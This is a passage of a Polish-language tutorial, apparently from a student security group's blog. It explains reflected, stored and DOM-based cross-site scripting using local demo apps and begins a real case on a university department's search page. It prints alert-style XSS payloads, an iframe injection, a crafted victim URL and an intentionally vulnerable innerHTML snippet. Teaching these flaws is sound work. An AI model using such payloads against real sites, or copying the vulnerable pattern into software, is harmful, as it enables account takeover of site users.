&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, gdzie po raz pierwszy pojawia się oficjalny termin &lt;em>cross-site scripting&lt;/em>&lt;/p>
&lt;p>Aplikacje webowe w dużej mierze opierają się na wybranej formie języka skryptowego działającego w tle, w trakcie ładowania strony lub jej przeglądania. Bez nich ciężko byłoby np. zbierać liczbę odwiedzin lub tworzyć animowane elementy interfejsu (choć nie byłoby to całkowicie niemożliwe). Ciekawy przegląd popularnych serwisów bez działającego JavaScripta w tle opisano &lt;a href="https://web.archive.org/web/20170909134341/https://sonniesedge.co.uk/blog/a-day-without-javascript"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Czy nie możemy zatem zrezygnować z języków skryptowych na stronach żeby ograniczyć możliwości ataku? Możemy, jednak dużo prościej jest dodać parę gotowych (niekoniecznie sprawdzonych) bibliotek języka JavaScript i cieszyć się responsywną aplikacją. Niestety przez takie podejście często tworzymy kod podatny na błędy. Skoro jednak XSS jest od tak dawna znane, to czemu nadal istnieją strony na niego podatne? Jest to dość skomplikowane zagadnienie, które w ciekawy sposób wyjaśnił &lt;a href="https://web.archive.org/web/20210517161349/https://security.stackexchange.com/questions/166379/why-they-still-exist-webapps-that-are-vulnerable-to-xss-and-sqli/166390"target="_blank" rel="noopener">jeden z użytkowników portalu stackexchange&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Głównymi czynnikami są m.in.:&lt;/p>
&lt;ul>
&lt;li>ograniczenia czasowe w projektach IT&lt;/li>
&lt;li>częste zmiany w bibliotekach języków wykorzystywanych w tworzeniu aplikacji webowych&lt;/li>
&lt;li>niektóre stare aplikacje wciąż są w użyciu i nie mogą ot tak zostać zamknięte&lt;/li>
&lt;/ul>
&lt;h2>Rodzaje ataków XSS&lt;span class="hx:absolute hx:-mt-20" id="rodzaje-ataków-xss">&lt;/span>
&lt;a href="#rodzaje-atak%c3%b3w-xss" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Wyróżniamy trzy główne rodzaje ataków cross-site scripting:&lt;/p>
&lt;ul>
&lt;li>stored&lt;/li>
&lt;li>reflected&lt;/li>
&lt;li>DOM-based&lt;/li>
&lt;/ul>
&lt;p>Każdy z nich postaram się omówić poniżej.&lt;/p>
&lt;p>{: .notice&amp;ndash;info}
Na potrzeby praktycznego przedstawienia błędów, przygotowałem proste aplikacje napisane w języku Python, które znaleźć można &lt;a href="https://github.com/PWrWhiteHats/xss-article-demos"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h3>Reflected XSS&lt;span class="hx:absolute hx:-mt-20" id="reflected-xss">&lt;/span>
&lt;a href="#reflected-xss" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Atak XSS możemy wykonać na wiele sposobów. Z typem &lt;em>reflected&lt;/em> mamy do czynienia, gdy aplikacja odbiera dane w zapytaniu HTTP i załącza je w bezpośredniej odpowiedzi do użytkownika w sposób nieprzetworzony - jak sama nazwa wskazuje, następuje dosłowne &lt;em>odbicie&lt;/em> informacji.&lt;/p>
&lt;p>{: .notice&amp;ndash;info}
Z języka angielskiego &lt;strong>reflect&lt;/strong> - odbić&lt;/p>
&lt;p>Załóżmy, że strona posiada wyszukiwarkę i można przez nią przeglądać zawartość pewnej bazy - wysyłamy zapytanie i w odpowiedzi otrzymujemy listę.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./reflected-wyszukiwarka.gif">&lt;img loading="lazy" src="./reflected-wyszukiwarka.gif" alt="Wyszukiwarka - reflected XSS">&lt;/a>
&lt;figcaption>Prosta wyszukiwarka&lt;/figcaption>
&lt;/figure>
&lt;p>Nie było by w tym nic nadzwyczajnego, gdyby nie fakt, że ta aplikacja nie zabezpiecza tego, co zostaje wyszukane. Można to zweryfikować, wprowadzając np. ciąg &lt;code>&amp;lt;script&amp;gt;alert(2)&amp;lt;/script&amp;gt;&lt;/code>.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./reflected-alert.gif">&lt;img loading="lazy" src="./reflected-alert.gif" alt="Wyszukiwarka - reflected XSS alert">&lt;/a>
&lt;figcaption>Praktyczny atak&lt;/figcaption>
&lt;/figure>
&lt;p>Jak można zauważyć, wyszukiwana fraza jest przekazywana poprzez parametr &lt;code>q&lt;/code> w ramach adresu URL. Taki adres można wysłać ofierze i podany kod wykona się w jej przeglądarce.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>http://localhost:5000/?q=%3Cscript%3Ealert%282%29%3C%2Fscript%3E&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>{: .notice&amp;ndash;info}
Więcej o atakach &lt;em>reflected XSS&lt;/em> można przeczytać &lt;a href="https://portswigger.net/web-security/cross-site-scripting/reflected"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h3>Stored XSS&lt;span class="hx:absolute hx:-mt-20" id="stored-xss">&lt;/span>
&lt;a href="#stored-xss" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Atak &lt;em>stored XSS&lt;/em> (inaczej &lt;em>second-order&lt;/em> lub &lt;em>persistent&lt;/em>) jest możliwy, gdy aplikacja przyjmuje niezweryfikowane ciągi znaków i wyświetla je w przyszłych odpowiedziach.&lt;/p>
&lt;p>Przykładowa aplikacja przechowuje notatki użytkownika i zwraca wszystkie w formie listy.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./stored-notes.gif">&lt;img loading="lazy" src="./stored-notes.gif" alt="Notatki - stored XSS">&lt;/a>
&lt;figcaption>Prosta aplikacja do przechowywania notatek&lt;/figcaption>
&lt;/figure>
&lt;p>Jak pewnie można się domyśleć, notatka na stronie, która jest stworzona z wykorzystaniem pola tekstowego, nie jest w żaden sposób sanityzowana po wysłaniu. Jak można to zweryfikować? Dokładnie tak jak w poprzednim przypadku - wysyłając odpowiedni ciąg zawierający znaki, które mogą zostać nieprawidłowo przetworzone. W tym przypadku wykorzystam kod wyświetlający film promocyjny Politechniki Wrocławskiej z platformy YouTube:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">iframe&lt;/span> &lt;span class="na">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;yt&amp;#34;&lt;/span> &lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;text/html&amp;#34;&lt;/span> &lt;span class="na">width&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;320&amp;#34;&lt;/span> &lt;span class="na">height&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;180&amp;#34;&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;http://www.youtube.com/embed/u6TFVrT3IaQ?autoplay=1&amp;#34;&lt;/span> &lt;span class="na">frameborder&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;0&amp;#34;&lt;/span>&lt;span class="p">/&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>{: .notice&amp;ndash;info}
&lt;strong>Sanityzacja&lt;/strong> - proces odpowiadający za usunięcie z kodu niedozwolonych znaków&lt;/p>
&lt;figure class="align-center">
&lt;a href="./stored-xss.gif">&lt;img loading="lazy" src="./stored-xss.gif" alt="Atak - stored XSS">&lt;/a>
&lt;figcaption>Atak stored XSS w praktyce&lt;/figcaption>
&lt;/figure>
&lt;p>Jeśli baza notatek (lub czegokolwiek innego co jest obsługiwane przez aplikację) byłaby współdzielona przez innych użytkowników, mogłoby to być poważne zagrożenie bezpieczeństwa prowadzące np. do całkowitego przejęcia konta lub&amp;hellip;automatycznego przekazania tweeta (o czym można posłuchać &lt;a href="https://youtu.be/zv0kZKC6GAM?t=120"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>)&lt;/p>
&lt;p>{: .notice&amp;ndash;info}
Więcej o atakach &lt;em>stored XSS&lt;/em> można przeczytać &lt;a href="https://portswigger.net/web-security/cross-site-scripting/stored"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h3>DOM-based XSS&lt;span class="hx:absolute hx:-mt-20" id="dom-based-xss">&lt;/span>
&lt;a href="#dom-based-xss" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>{: .notice&amp;ndash;info}
&lt;strong>DOM (Document Object Model)&lt;/strong> - interfejs dla dokumentów HTML i XML. Odpowiada za dwie rzeczy: zapewnia reprezentację struktury dokumentu oraz określa, w jaki sposób odnosić się do tej struktury z poziomu skryptu. DOM nie jest sam w sobie językiem programowania, ale bez niego np. język JavaScript nie miałby żadnego odniesienia do stron czy dokumentów XML i ich elementów.&lt;/p>
&lt;p>Atak typu &lt;em>DOM-based&lt;/em> (Document Object Model-based) jest często mylony z &lt;a href="#reflected-xss">&lt;em>reflected XSS&lt;/em>&lt;/a>. Zasada działania jest podobna:&lt;/p>
&lt;ul>
&lt;li>użytkownik podaje dane&lt;/li>
&lt;li>zostają one zwrócone na wyświetlanej stronie&lt;/li>
&lt;/ul>
&lt;p>Z atakiem &lt;em>DOM-based&lt;/em> mamy jednak do czynienia, gdy JavaScript (lub inny wykorzystywany w przeglądarce język skryptowy) przekazuje otrzymane dane do elementów umożliwiających dynamiczne wykonywanie kodu (np. &lt;code>eval()&lt;/code> lub &lt;code>innerHTML&lt;/code>). Najpopularniejszym źródłem ataków DOM XSS jest obiekt &lt;code>windows.location&lt;/code> pozwalający na spreparowanie adresów URL.
Dane przetwarzane w ten sposób mogą nigdy nie dotrzeć do serwera końcowego (całość ataku może odbyć się po stronie klienta - &lt;em>client-side&lt;/em>).&lt;/p>
&lt;p>Najłatwiej jest to przedstawić na przykładzie. Wykorzystam do tego bardzo prostą stronę wyświetlającą zapisane pliki graficzne.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./dombased-strona.gif">&lt;img loading="lazy" src="./dombased-strona.gif" alt="Strona - DOM XSS">&lt;/a>
&lt;figcaption>Prosta strona wyświetlająca zdjęcia&lt;/figcaption>
&lt;/figure>
&lt;p>Jak można zauważyć, wraz z wyborem zdjęcia, zmienia się tzw. &lt;em>fragment identifier&lt;/em> czyli element rozpoczynający się hashem &lt;code>#&lt;/code>. Jest on opcjonalnym fragmentem URI i zazwyczaj wykorzystuje się go w celu identyfikacji pewnego elementu strony (w tym przypadku zdjęcia). Za wyświetlanie plików graficznych odpowiada poniższy fragment w języku JavaScript:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">addEventListener&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;hashchange&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">ev&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getElementById&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;image&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">innerHTML&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;lt;img src=&amp;#34;./image&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">unescape&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">location&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">hash&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">slice&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;.png&amp;#34;&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">function&lt;/span> &lt;span class="nx">fn&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">var&lt;/span> &lt;span class="nx">select&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getElementById&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;s&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">var&lt;/span> &lt;span class="nx">selected&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">select&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">value&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">location&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">hash&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">selected&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W skrócie, przechwytuje on zmiany wartości po znaku &lt;code>#&lt;/code>, a następnie do elementu &lt;code>&amp;lt;div id=&amp;quot;image&amp;quot;&amp;gt;&lt;/code> wpisuje kod &lt;code>&amp;lt;img src=&amp;quot;./imageID.png&amp;quot;&amp;gt;&lt;/code>, gdzie &lt;code>ID&lt;/code> jest właśnie wspomnianą wartością. Łącząc to z prostą listą elementów, można stworzyć narzędzie do wyświetlania zdjęć. Co jednak jeśli jako &lt;code>ID&lt;/code> przekażemy spreparowany kod?&lt;/p>
&lt;figure class="align-center">
&lt;a href="./dombased-atak.gif">&lt;img loading="lazy" src="./dombased-atak.gif" alt="Atak - DOM XSS">&lt;/a>
&lt;figcaption>Atak DOM XSS&lt;/figcaption>
&lt;/figure>
&lt;p>Wykorzystałem poniższy ciąg znaków:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&amp;#34; onerror=&amp;#34;alert(2)&amp;#34;&amp;gt;&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Po wykonaniu zapytania, JavaScript generuje następujący kod:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;image&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;&lt;/span>&lt;span class="nt">img&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;./image&amp;#34;&lt;/span> &lt;span class="na">onerror&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;alert(2)&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>.png&amp;#34;&lt;span class="ni">&amp;amp;gt;&lt;/span>&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jak można zauważyć, tag &lt;code>img&lt;/code> odwołuje się do nieistniejącego pliku &lt;code>./image&lt;/code>. Dopisany zostaje &lt;em>event&lt;/em> &lt;code>onerror&lt;/code> sprawiający, że w przypadku dowolnego błędu (a takim jest brak zdjęcia), wykonany zostanie kod w języku javascript &lt;code>alert(2)&lt;/code>. Atak ten odbył się w pełni po stronie użytkownika, z wykorzystaniem istniejącego kodu języka skryptowego.&lt;/p>
&lt;p>{: .notice&amp;ndash;info}
Więcej o atakach &lt;em>DOM-based XSS&lt;/em> można przeczytać &lt;a href="https://portswigger.net/web-security/cross-site-scripting/dom-based"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Przykład z życia&lt;span class="hx:absolute hx:-mt-20" id="przykład-z-życia">&lt;/span>
&lt;a href="#przyk%c5%82ad-z-%c5%bcycia" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Najlepiej uczyć się na praktycznych przykładach. A co jeśli dodatkowo da się takie znaleźć na jednej ze stron Politechniki Wrocławskiej? Ten rozdział poświęcę błędowi XSS znalezionemu na portalu Katedry Podstaw Elektrotechniki i Elektrotechnologii.&lt;/p>
&lt;p>Przeglądając stronę Katedry można zauważyć, że posiada ona wyszukiwarkę. Nie byłoby to nic ciekawego gdyby nie fakt, że frazy wpisywane za jej pośrednictwem, zostają zwrócone bezpośrednio użytkownikowi, a wyszukiwany ciąg znaków pojawia się w nowym adresie URL.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./wyszukiwarka.png">&lt;img loading="lazy" src="./wyszukiwarka.png" alt="Wyszukiwarka">&lt;/a>
&lt;figcaption>Najzwyklejsza w świecie wyszukiwarka fraz na stronie&lt;/figcaption>
&lt;/figure>
&lt;figure class="align-center">
&lt;a href="./wyszukana-fraza.png">&lt;img loading="lazy" src="./wyszukana-fraza.png" alt="Fraza wyszukana">&lt;/a>
&lt;figcaption>Fraza pojawia się w nowo-wygenerowanej stronie&lt;/figcaption>
&lt;/figure>
&lt;figure class="align-center">
&lt;a href="./adresurl.png">&lt;img loading="lazy" src="./adresurl.png" alt="URL">&lt;/a>
&lt;figcaption>Adres URL po wyszukaniu frazy&lt;/figcaption>
&lt;/figure>
&lt;p>Pierwsza myśl - na pewno jest to zabezpieczone. Aby jednak zaspokoić swoją ciekawość, wykorzystałem ciąg znaków znany każdemu kto kiedykolwiek bawił się podatnością typu cross-site scripting:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;span class="nx">alert&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W najlepszym razie strona powinna po prostu bezpośrednio wyświetlić ten kod w miejscu frazy wyszukiwanej - tu jednak to się nie wydarzyło. Strona od razu zwróciła błąd &lt;code>ERR_CONNECTION_RESET&lt;/code>.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./error-connection-reset.png">&lt;img loading="lazy" src="./error-connection-reset.png" alt="error-connection-reset">&lt;/a>
&lt;figcaption>Błąd ERR_CONNECTION_RESET&lt;/figcaption>
&lt;/figure>
&lt;p>Taka sytuacja zmusza do myślenia. Czy serwer nie radzi sobie z odpowiedzią? A może jednak po drodze postawiono jakiegoś WAFa, który odcina połączenie w przypadku wykrycia określonej frazy?&lt;/p>
&lt;p>{: .notice&amp;ndash;info}
&lt;strong>WAF (Web Application Firewall)&lt;/strong> - system bezpieczeństwa przystosowany do ochrony stron internetowych poprzez monitorowanie i filtrowanie ruchu HTTP między aplikacją, a Internetem. Zasadę działania świetnie opisano na blogu &lt;a href="https://kapitanhack.pl/2019/06/26/akronimy/co-to-jest-waf/"target="_blank" rel="noopener">KapitanHack&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
